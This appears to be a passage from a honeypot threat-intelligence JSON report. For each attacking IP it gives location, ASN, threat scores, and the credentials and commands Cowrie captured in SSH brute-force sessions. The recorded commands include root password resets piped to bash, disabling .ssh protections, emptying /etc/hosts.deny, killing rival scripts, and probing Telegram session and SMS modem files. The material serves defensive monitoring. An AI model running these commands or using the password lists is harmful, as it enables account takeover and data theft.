        "3edc#EDC",
        "AA123456+",
        "Dev123!",
        "P@ssw0rd123!@#",
        "Pa$$w0rd12345",
        "Qazwsx6666@#",
        "Qazwsx666@@",
        "Qwertyuiop12345678",
        "Test123!@#",
        "ZAQ!xsw2",
        "ftpuser!2025",
        "gm",
        "guest!@#",
        "nasrin"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"newuser\\nKeetAJYMw5GK\\nKeetAJYMw5GK\\n\"|passwd",
        "echo -e \"newuser\\nKeetAJYMw5GK\\nKeetAJYMw5GK\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "La Paz",
      "asn": 26210,
      "as_org": "AXS Bolivia S. A.",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T19:59:03.948000+00:00",
        "last_seen_30d": "2026-04-16T20:44:03.287000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 63
      }
    },
    "43.163.3.130": {
      "attack_count": 194,
      "first_seen": "2026-04-17T05:29:22.474Z",
      "last_seen": "2026-04-17T06:09:16.926Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "omar",
        "user",
        "345gs5662d34",
        "fabio",
        "ftpuser",
        "plex",
        "steam",
        "steam1",
        "teamspeak",
        "test2",
        "testuser",
        "zxl"
      ],
      "passwords_attempted": [
        "123456",
        "!23QweAsd",
        "11111",
        "111111",
        "1111111",
        "123",
        "123456789",
        "123456@qq.com",
        "1qazXSW@",
        "3245gs5662d34",
        "345gs5662d34",
        "QWE!@#$",
        "Teamspeak24!",
        "a1234567090",
        "a123456a722",
        "abc123",
        "bbBB000",
        "fabio",
        "plex",
        "q1w2e3r4Q!W@E#R$"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\nqdFp4Q0raD1a\\nqdFp4Q0raD1a\\n\"|passwd",
        "echo -e \"123456\\nqdFp4Q0raD1a\\nqdFp4Q0raD1a\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 255,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T05:29:22.474000+00:00",
        "last_seen_30d": "2026-04-17T06:10:24.786000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 61
      }
    },
    "89.39.121.13": {
      "attack_count": 193,
      "first_seen": "2026-04-04T11:34:43.065Z",
      "last_seen": "2026-04-04T12:28:26.917Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "steam",
        "user",
        "345gs5662d34",
        "btest",
        "digital",
        "ediuser",
        "erpnext",
        "ftpuser",
        "jack",
        "root/1234567",
        "teamspeak",
        "user9",
        "vpn"
      ],
      "passwords_attempted": [
        "1",
        "123",
        "123456",
        "1234567890",
        "1q2w3e4r!",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa@123456",
        "Oracle2026",
        "Qazwsx9999!@",
        "Qwertyuio1234567",
        "Root666@#",
        "Steam4",
        "Teamspeak03!",
        "Vpn12345",
        "Xp123456",
        "aaa",
        "asdqwe123",
        "bt@123456",
        "digital"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:GRA3E1vhzkXY\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 215439,
      "as_org": "Play2go International Limited",
      "threat_score": 4.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T11:34:43.065000+00:00",
        "last_seen_30d": "2026-04-04T12:29:33.918000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 64
      }
    },
    "186.10.86.130": {
      "attack_count": 168,
      "first_seen": "2026-04-02T14:30:14.522Z",
      "last_seen": "2026-04-02T15:45:48.782Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "0admin",
        "123456bB",
        "123QWEasdZXC",
        "20261109",
        "3245gs5662d34",
        "345gs5662d34",
        "ABc123456",
        "Admin12345",
        "Dt123456.",
        "Hx123456.",
        "Passw0rd!@#",
        "aaaaaa123",
        "adrian",
        "bruno123",
        "c123456789",
        "dodo",
        "drcom@123",
        "joel",
        "oracle12",
        "passadmin12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:AJjG5BqHaOjK\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Santiago",
      "asn": 27651,
      "as_org": "ENTEL CHILE S.A.",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T14:30:14.522000+00:00",
        "last_seen_30d": "2026-04-02T15:46:58.241000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "191.6.25.239": {
      "attack_count": 158,
      "first_seen": "2026-04-03T06:39:23.053Z",
      "last_seen": "2026-04-03T08:10:49.134Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Admin123456!@#$%^",
        "C3nt0s@2026",
        "P4ssw0rd2025",
        "System1!",
        "abccba",
        "haojie",
        "kl123456",
        "kurac123",
        "qwe`123",
        "qwerty1",
        "qwerty98",
        "ray123",
        "root@123456789",
        "testmail",
        "yt@123456",
        "yun123456",
        "zenalyn",
        "zzzzzz"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:yKKgo84si6eJ\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Presidente Dutra",
      "asn": 263546,
      "as_org": "TURBONETT TELECOMUNICACOES LTDA. - ME",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 208,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T06:39:23.053000+00:00",
        "last_seen_30d": "2026-04-03T08:11:56.004000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 158,
        "Suricata": 50
      }
    },
    "221.139.88.149": {
      "attack_count": 93,
      "first_seen": "2026-04-29T23:52:07.153Z",
      "last_seen": "2026-04-29T23:57:09.644Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user1",
        "345gs5662d34",
        "ubuntu"
      ],
      "passwords_attempted": [
        "12345",
        "13141516",
        "3245gs5662d34",
        "345gs5662d34",
        "King@1234",
        "dev123",
        "zaza"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345\\n34P9bDi6pLFb\\n34P9bDi6pLFb\\n\"|passwd",
        "echo -e \"12345\\n34P9bDi6pLFb\\n34P9bDi6pLFb\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gwanak-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 33.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 109,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T23:52:07.153000+00:00",
        "last_seen_30d": "2026-04-29T23:58:17.423000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 93,
        "Suricata": 16
      }
    },
    "162.240.236.66": {
      "attack_count": 66,
      "first_seen": "2026-04-30T13:54:50.141Z",
      "last_seen": "2026-04-30T13:59:26.074Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 46606,
      "as_org": "Unified Layer",
      "threat_score": 32.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 100,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T13:54:50.141000+00:00",
        "last_seen_30d": "2026-04-30T14:00:33.468000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 66,
        "Suricata": 34
      }
    },
    "222.186.26.73": {
      "attack_count": 59,
      "first_seen": "2026-04-07T18:40:31.906Z",
      "last_seen": "2026-04-07T19:08:51.148Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "dev",
        "hsadmin",
        "minecraft",
        "packer",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123456",
        "321456",
        "345gs5662d34",
        "AAAA123456",
        "Aa111111.",
        "Qwe123123",
        "a1234567aa",
        "dev@2026",
        "hsadmin",
        "packer",
        "ubuntu#2026"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 89,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T18:40:31.906000+00:00",
        "last_seen_30d": "2026-04-07T19:18:52.040000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 59,
        "Suricata": 30
      }
    },
    "119.116.20.61": {
      "attack_count": 56,
      "first_seen": "2026-04-05T15:57:54.730Z",
      "last_seen": "2026-04-05T16:03:43.737Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 5.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 85,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T15:57:54.730000+00:00",
        "last_seen_30d": "2026-04-05T16:11:28.819000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 29
      }
    },
    "103.173.7.169": {
      "attack_count": 46,
      "first_seen": "2026-04-30T05:00:06.354Z",
      "last_seen": "2026-04-30T05:05:04.879Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Sialkot",
      "asn": 142647,
      "as_org": "Nasstec Airnet Networks Private Limited",
      "threat_score": 31.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T05:00:06.354000+00:00",
        "last_seen_30d": "2026-04-30T05:06:06.458000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 24
      }
    },
    "169.224.21.180": {
      "attack_count": 44,
      "first_seen": "2026-04-25T23:51:40.170Z",
      "last_seen": "2026-04-26T00:16:25.172Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Baghdad",
      "asn": 199739,
      "as_org": "Earthlink Telecommunications Equipment Trading & Services DMCC",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T23:51:40.170000+00:00",
        "last_seen_30d": "2026-04-26T00:17:27.464000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 23
      }
    },
    "110.37.5.37": {
      "attack_count": 34,
      "first_seen": "2026-04-25T08:03:09.165Z",
      "last_seen": "2026-04-25T08:06:52.366Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T08:03:09.165000+00:00",
        "last_seen_30d": "2026-04-25T08:08:02.147000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 18
      }
    },
    "209.216.92.58": {
      "attack_count": 34,
      "first_seen": "2026-04-30T19:57:30.508Z",
      "last_seen": "2026-04-30T20:02:34.110Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398779,
      "as_org": "Ace Host, LLC",
      "threat_score": 30.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T19:57:30.508000+00:00",
        "last_seen_30d": "2026-04-30T20:03:39.879000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 19
      }
    },
    "45.15.226.44": {
      "attack_count": 33,
      "first_seen": "2026-04-24T20:18:45.726Z",
      "last_seen": "2026-04-24T20:20:06.978Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Moldova",
      "country_code": "MD",
      "city": null,
      "asn": 207164,
      "as_org": "Primanet Srl",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T20:18:45.726000+00:00",
        "last_seen_30d": "2026-04-24T20:21:09.882000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 33,
        "Suricata": 4
      }
    },
    "64.182.44.162": {
      "attack_count": 32,
      "first_seen": "2026-04-30T10:08:18.526Z",
      "last_seen": "2026-04-30T10:10:17.096Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 54489,
      "as_org": "CoreSpace, Inc.",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T10:08:18.526000+00:00",
        "last_seen_30d": "2026-04-30T10:11:18.837000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 17
      }
    },
    "111.53.8.101": {
      "attack_count": 31,
      "first_seen": "2026-04-12T06:17:46.209Z",
      "last_seen": "2026-04-12T07:22:04.575Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1qaz@WSX3edc",
        "Aa123123",
        "admin#123"
      ],
      "commands_executed": [
        "grep -c ^processor /proc/cpuinfo"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 56042,
      "as_org": "China Mobile communications corporation",
      "threat_score": 12.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T06:17:12.774000+00:00",
        "last_seen_30d": "2026-04-12T07:38:57.352000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 31,
        "Suricata": 21
      }
    },
    "77.90.185.80": {
      "attack_count": 28,
      "first_seen": "2026-04-10T10:36:14.369Z",
      "last_seen": "2026-04-15T16:21:53.231Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "kelltech",
        "root"
      ],
      "passwords_attempted": [
        "1234#kelltech",
        "kelltech2021@",
        "kelltech2022",
        "kelltech2022!",
        "kelltech2022#"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T10:36:14.369000+00:00",
        "last_seen_30d": "2026-04-15T16:22:59.303000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "94.183.177.120": {
      "attack_count": 17,
      "first_seen": "2026-04-30T20:47:53.321Z",
      "last_seen": "2026-04-30T20:48:19.937Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "RPM",
        "monitor",
        "sshd"
      ],
      "passwords_attempted": [
        "RPM",
        "monitor",
        "sshd"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": null,
      "asn": null,
      "as_org": null,
      "threat_score": 28.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T20:47:53.321000+00:00",
        "last_seen_30d": "2026-04-30T20:49:28.001000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 17,
        "Suricata": 7
      }
    },
    "118.196.64.77": {
      "attack_count": 15,
      "first_seen": "2026-04-17T23:28:02.245Z",
      "last_seen": "2026-04-17T23:55:45.779Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "sysuser",
        "testftp",
        "ubuntu"
      ],
      "passwords_attempted": [
        "ch@ng3m3",
        "sysuser",
        "test123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
